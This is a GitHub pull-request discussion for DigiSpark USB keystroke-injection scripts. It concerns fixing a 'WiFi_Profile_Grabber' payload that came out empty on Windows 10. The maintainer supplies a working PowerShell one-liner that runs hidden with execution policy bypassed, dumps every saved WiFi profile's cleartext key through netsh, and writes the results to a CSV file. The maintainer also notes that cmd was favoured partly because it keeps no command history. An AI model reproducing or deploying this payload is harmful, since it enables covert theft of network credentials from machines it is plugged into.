CedArctic / DigiSpark-Scripts

USB Rubber Ducky type scripts written for the DigiSpark.
MIT License
1.92k stars 602 forks source link

WiFi_Profile_Grabber empty csv file fix #22

Closed Michyus closed 5 years ago

Michyus commented 5 years ago

Hi, I have tried to run WiFi_Profile_Grabber on Windows 10, but the temp.csv file was always empty even though there is WiFi network saved on my pc. I have edited code, so now it works for me - seems that problem was caused by \ being used instead of \\. This problem is most likely connected to this issue #17.

I've only tested this script on my pc (WIndows 10) with only one WiFi network saved. I don't know if this will work on other versions of Windows too.

CedArctic commented 5 years ago

@Michyus thanks for the PR! Sorry for the late reply, just got to checking my repos. You are right there were a bunch of \ that needed to be escaped properly as \. I saw your commit and I initially had it running from cmd because it launches faster than powershell on lower end machines and also doesn't keep a history of commands. So if you can, revert your commit to my original script and replace the problematic line with this and I will merge the PR:

DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv"));